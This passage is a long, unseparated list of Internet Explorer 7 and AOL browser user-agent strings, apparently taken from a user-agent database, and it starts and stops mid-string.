AOLBuild 4337.29; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; FunWebProducts; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; FunWebProducts; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; GTB5) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.32; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.36; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.36; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.36; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 5.1; Trident/4.0; GTB5; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.42; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.43; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.43; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.43; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.53; Windows NT 6.0; FunWebProducts; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.80; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.81; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.81; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) (Compatible; ; ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.81; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.89; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.93; Windows NT 5.1; Trident/4.0; DigExt; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.6; AOLBuild 4340.128; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1; .NET CLR 2.0.50727; Media Center PC 3.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; CP/M 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Win32) Link Commander 4.0 Mozilla/4.0 (compatible; MSIE 7.0; Windows 95) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1, .NET CLR 1.1.4322, .NET CLR 2.0.50727, .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.5.30729; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.1); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.1); .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; Seekmo 10.0.341.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 1.1.4322; Hotbar 10.0.368.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.314.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); Zune 3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Media Center PC 4.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yplus 5.3.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; Zango 10.0.314.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727; Seekmo 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; FDM; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; yplus 5.6.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Sleipnir/2.7.1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; PeoplePal 3.0; SpamBlockerUtility 4.8.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Seekmo 10.0.424.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Alexa Toolbar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Compatible; SV1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; FDM; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Seekmo 10.0.406.0; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Zango 10.0.370.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 